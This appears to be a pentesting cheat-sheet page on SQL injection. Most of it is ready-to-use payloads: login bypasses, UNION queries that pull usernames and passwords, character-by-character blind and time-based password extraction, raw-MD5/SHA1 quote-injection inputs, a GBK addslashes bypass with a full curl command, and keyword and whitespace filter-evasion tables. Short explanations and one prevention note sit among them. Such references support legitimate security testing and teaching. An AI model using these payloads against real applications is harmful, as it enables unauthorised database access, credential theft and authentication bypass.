Skip to content

SQL Injection (SQLi)

Multiple SQL Injection exists, there are differents methods to bypass this.

📚 Resources

Entry Point Detection

To detect an SQL injection, there are any methods.

  • Error Based: In the first case, you can try to escape string with below chars, this will potentially send you an error message :

  • Simple characters: ', ", ;, )

  • Simple encoded characters: %27, %22, %0d%0a, %0b%0c, %00, %09, %29, %2A

  • Multiple encoding: %%2727, %25%27

  • Unicode characters: U+02BA, U+02B9

Testing Paylods

Default payloads

sql
1" or 1=1 -- true
1 and 1=2 -- false

Order Group

sql
1' ORDER BY 1-- -    #True
1' ORDER BY 2-- a    #True
1' ORDER BY 3--+    #True

UNION SELECT

Adjust the number of columns using NULL values until the query matches the original SELECT statement

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Worked

PDO injection (PHP 8.3 and lower)

Well Known CVE PHP PDO

Basic Auth Bypass

sql
1' OR '1'='1
sql
1' OR 1=1 -- -
1'  1=1 --+
' or 1=1 limit 1 --

Raw MD5 and SHA1

In PHP, setting the optional binary parameter of md5() (or sha1()) to true returns the hash in **raw binary format**, rather than hexadecimal. This means the result is a sequence of bytes, not a string of characters.

php
sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

An attacker could craft a password so that md5($password, true) includes a quote, breaking out of the SQL context — for example: ' or 'SOMETHING.

HashInputOutput (Raw)Payload
md5ffifdyop'or'6�]��!r,��b'or'
md5129581926211651571912466741651878684928ÚT0D��o#ßÁ'or'8'or'
sha15651578060603509E&�ɶ��'||'8�vjc\�'||'8
sha13fDfQ�u'='�@�[�t�- o��_-!'='
sha1178374�ÜÛ¾}_i��a!8Wm'/*´Õ'/*
sha117Ùp2ûjww�%6\\
sha1277c7cVF�I\:X+(�R?�'5r�%'

Code to search for string: '/* in md5 binary hash:

php
for ($i = 0; $i < 10000000; $i = $i + 1) {
    $candidat = md5($i, TRUE);
    if (strstr($candidat, "'/*")) {
        $candidat = preg_replace('/[^[:print:]]+/', ' ', $candidat);
        echo "$i: >$candidat<\r\n";
    }
}

Numeric Based

With numeric injection, values are inserted directly without using quotes.

php
$sql = "SELECT id, name, price FROM products WHERE id = $_GET['id'];"

An attacker can inject:

sql
1 UNION SELECT username, password, NULL FROM users;

This works because the id parameter is treated as a number, so no quotes are needed.

Union Based

The UNION keyword allows combining the results of multiple SELECT statements into a single response.

php
$sql = "SELECT price FROM products WHERE price = $price;"
sql
1 UNION SELECT username, password FROM users --
sql
SELECT price FROM products WHERE price = 1 UNION SELECT username, password FROM users;

In this case, the result of the injected query replaces the original output, showing data from the users table.

SQLi - Routed

Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output.

In short, the result of the first SQL query is used to build the second SQL query. The usual format is ' union select 0xHEXVALUE -- where the HEX is the SQL injection for the second query.

sql
' union select 0x2720756e696f6e2073656c65637420656d61696c2c2070617373776f72642066726f6d2075736572732d2d -- -
plaintext
0x2720756e696f6e2073656c65637420656d61696c2c2070617373776f72642066726f6d2075736572732d2d

Hex decoded -> ' union select email, password from users--

Final paylaod -> ' union select ' union select email, password from users-- -- -

Second Order SQL Injection

Second-order SQLi is a stored SQL injection. There is an example :

php
// attacker registers a username that contains a payload
$username = $_POST['username'] // admin' AND password LIKE "<char>%"
$registerStmt = $pdo->prepare('INSERT INTO users (username, email) VALUES (:username, :email)')->execute([':username' => $username, ':email' => $email]);

$username = $pdo->prepare('SELECT * FROM users WHERE id = :id')->bindParam(':id', $_SESSION['id'])->execute([':id' => $_SESSION['id']])->fetch(PDO::FETCH_ASSOC);

There is nothing suspicious at first glance, but if username contains an injection payload and it is used like this:

php
// later the application reads the stored value
$update = $pdo->prepare("UPDATE users SET email = :email WHERE username = '" . $user . "'")->execute([':email' => $email]);

This allows an attacker to register a malicious payload which, when the stored value is later used unsafely (by concatenation), can be executed to inject SQL and extract data.

SQLi - Blind

In blind SQL injection, the server doesn't return any visible data directly in the response. Instead, you have to infer information based on response behavior — such as timing delays or conditional responses.

Guessing

Look the cheatsheet SQLi intruder to check payloads and method bypass.

🔍 Password Length Guessing

If a condition is true, the server's response may change (e.g., error, redirect, delay):

bash
admin' and (select length(password)>10)--
admin' and length(password)=12--

🔐 Password Extraction (Character by Character)

Guess characters one at a time by comparing them with known values:

bash
admin' and (select substr(password,1,1)='a')--
# or
admin' and substr(password,1,1)='ab***'--

Error Blind SQLi

In Error-Based Blind SQLi, errors are triggered to extract information. For example, to retrieve table names:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

The query will return an error if the condition is met, revealing database structure details through error messages.

Time Based SQLi

In Time-Based Blind SQLi, you introduce delays to infer information based on response times.

sql
AND IF(1=1, SLEEP(5), 0)--
sql
1' and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') -- -

' AND '1'='1' AND SLEEP(5)

GBK

GBK is a character encoding used in Simplified Chinese systems. It is an extension of the older GB2312 encoding and is compatible with it. GBK supports a much larger range of Chinese characters and also includes some non-Chinese characters.

wiki GBK

How GBK Bypasses addslashes()

addslashes() is a PHP function that escapes special characters like ', ", \, and null bytes (\0) by adding backslashes (\) before them. While it is commonly used to prevent SQL injection, it is not a secure method for escaping input because it does not account for the character encoding of the database.

The vulnerability occurs when the database server uses the GBK encoding, and PHP assumes a different encoding (e.g., Latin1).

Bypassing with 0xBF27

In Latin1:

  • 0xBF27 is interpreted as ¿' (a valid character + a single quote).
  • addslashes() escapes it as ¿' -> 0xBF5C27 (where 0xBF5C is the ¿ character, and 0x27 is the quote ').

In GBK:

  • 0xBF5C27 is interpreted as a valid GBK character 뽜', (where 0xBF5C is part of a multibyte character in GBK).

  • The backslash \ in 0xBF5C is treated as part of the character (not an escape sequence), meaning the quote ' is no longer escaped, leading to a successful SQL injection.

Exploit

If addslashes() is used for sanitization:

php
$username = addslashes($input);
$query = "SELECT * FROM users WHERE username = '$username'";

An attacker can inject :

php
# Payloads
\xBF27 # This will be interpreted as ¿' after addslashes()
¿' OR '1'='1
' OR 1=1 -- -
bash
# Curl exploit
echo -e "\xbf\x27" # ¿'
curl 'http://vuln.com/index.php' -L -d "login=admin$(echo -e "\xbf\x27")%20OR%201=1%20--%20-&password=foo"

which MySQL (using GBK) interprets as:

SQL
SELECT * FROM users WHERE username = '뽜' OR '1'='1'

This closes the quote early, leading to SQL Injection.

To prevent it :

  • Use UTF-8 encoding
  • In Database, use SET NAMES utf8mb4

Bypass WAF and Filter

Look the cheatsheet on intruder payloads and methods to bypasss.

Bypass White Space Filtered

  • URL Encoding: %09, %0d%0a, %0c%0b, %A0

Bypass using comments and parenthesis:

BypassTechnique
?id=1/*comment*/AND/**/1=1/**/--Comment
?id=1/*!12345UNION*//*!12345SELECT*/1--Conditional comment
?id=(1)and(1)=(1)--Parenthesis

No comma (,)

Bypass using OFFSET, FROM and JOIN.

ForbiddenBypass
LIMIT 0,1LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1)SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
sql
SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT username FROM users)d

Case Modification

Bypass uppercase/lowercase.

sql
sEleCt unIoN fRoM aNd oR ...

Bypass keywords filtered.

ForbiddenBypass
AND&&
OR||
=LIKE, REGEXP, BETWEEN
>NOT BETWEEN 0 AND X
WHEREHAVING
sql
-- No Equals Allowed
LIKE,
NOT IN,
IN,
BETWEEN